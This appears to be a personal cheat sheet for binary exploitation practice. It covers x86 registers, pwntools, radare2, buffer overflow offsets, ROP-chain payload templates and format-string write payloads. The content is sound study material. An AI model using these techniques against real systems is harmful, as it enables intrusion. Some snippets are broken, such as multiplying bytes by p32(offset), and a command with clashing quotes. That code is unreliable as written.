- Useful Things to Know
- x86 & Assembly
- pwntools
- Radare2
- Buffer Overflow
- ROP Chaining
- GOT PLT Linking & Exploiting
- String Format Vulnerabilities
- Start Tmux with
tmux ctrl + B + %to split the screenctrl + B + Oto switch between panes- Full list of instructions here
- Convert from hex bytes to int (b"0x" -> int)
import re
num = int(re.findall(b"([0-9a-f]{6,16})", string)[0], 16)- To manually find the offset it is best to run
python -c "print(b"a" * 32)" | filenamestarting at 32 and incrementing by 8 until you get a segfault - After getting a segfault run
dmesgto see what the output looks like - The output should be
0x00000000and if it isn't, decrement the offset by 1 or 2 until it is0x00000000
| Register | 64-bit | 32-bit | Purpose |
|---|---|---|---|
| Accumulator | rax | eax | I/0 access, arithmetic, interrupt calls |
| Counter | rcx | ecx | Loop counter |
| Data | rdx | edx | I/O port access, arithmetic |
| Base | rbx | ebx | Base pointer for memory access |
| Stack Pointer | rsp | esp | Holds the top address of the stack |
| Stack Base Pointer | rbp | ebp | Hold base address of the stack |
| Source | rsi | esi | String and memory array copying |
| Destination | rdi | edi | String and memory array copying |
- Parameters: reg- register, mem- memory address, any- reg or mem
- Full list at the x86 Assembly Guide | Name | Example | Description | | :--: | :-----: | :---------: | | Move | mov {any}, {any} | Copy data from the first operand and paste the data into the second operand | | Push | push {any} | Pushes operand to the top of the stack (Max of 4 / 8 bytes at a time depending on 32-bit or 64-bit) | | Pop | pop {any} | Removes top 4 / 8 bytes from the stack and puts puts it in the operand | | Load Effective Address | lea {mem}, {reg} | Places address of first operand onto the register specified by second operand |
- Perform syscalls using
int 0x80in 32-bit andsyscallin 64-bit - Full list of syscalls here
- eax is the type of syscall
- Arguments go ebx, ecx, edx, esi, edi, ebp in that order
- To enter the interactive terminal type
ipython3 - First line of code should always be
from pwn import * - Put the architecture next using
context.arch = 'amd64'(Assuming the file is 64-bit) - When cracking into an executable:
p = process("filename") - When cracking into a remote server:
p = remote("ip", port_number) - Use
p.recv()to show anything that the executable is printing - Use
p.sendline()orp.send()to send the payload - Use
elf = ELF("filename")to get any important information about the executable- Use
elf.gotto get the values inside of the GOT - Use
elf.symto get the functions inside of the file
- Use
- Look at the assembly of an executable using
r2 -Ad filenames function_nameors memory_address- usually use
s main
- usually use
Vppto see the code:db addressto set a breakpoint:dcto continue
- If
getsis used to get data in the executable
- This is used to overrwrite existing local variables
- Find the local variable that you want to overwrite using r2 (it will look like
var int64_t var_20h @ rbp-0x20) - Add 4 bytes in 32-bit and 8 bytes in 64-bit for return address
- Use
file filenameto see what type of file it is, how it was compiled, and whether it was stripped- If file is not stripped:
- Use
rabin2 -s filenameto see all of the functions and their locations inside of the executable - Use
rabin2 -z filenameto see all of the strings and their locations inside of the executable
- Use
- If file is not stripped:
- Use
checksec filenameto see possible vulnerabilities - Use
r2 -Ad filenameto get any necessary function and argument locations - Use
ROPgadget --binary filename | grep popto get apop; retstatement- The number of pop statements depends on the number of arguments, 3 args = 3 pops
- 32-bit:
from pwn import * offset = 44 # it's usually 44, but it might not be function_address = ___ pop_address = ___ argument = ___ inject = b"a" * p32(offset) + p32(function_address) + p32(pop_address) + p32(argument)
- 64-bit:
from pwn import * offset = 40 # it's usually 40, but it might not be function_address = ___ pop_address = ___ argument = ___ inject = b"a" * p64(offset) + p64(pop_address) + p64(argument) + p64(function_address)
All relevant instructions and the order to use them in:
- Use
ldd filenameto get the location of libc (will look likelibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6)
- When asked for input type
%p, if something other than%pshows up, there is a printf vulnerability
- Start with
%1$p,%2$p, and continue until you see the hex value for what you input (if you input%pthe hex will be0x20702520) - Do
inject = p32(target_address) - Increase the size of what gets printed by using
%Sxwhere S is the number of spaces to add (x is just the letter x) - Write the width of the injection to the target as bytes
- Assuming N is the argument number:
- 1 byte:
%N$hhn - 2 bytes:
%N$hn - 4 bytes:
%N$n - 8 bytes:
%N$lln
- 1 byte:
- Assuming N is the argument number:
- Payload will look like:
from pwn import *
inject = p32(target_address) + b"%Sx" + b"%N$hhn" # S = number of spaces to add, N = argument number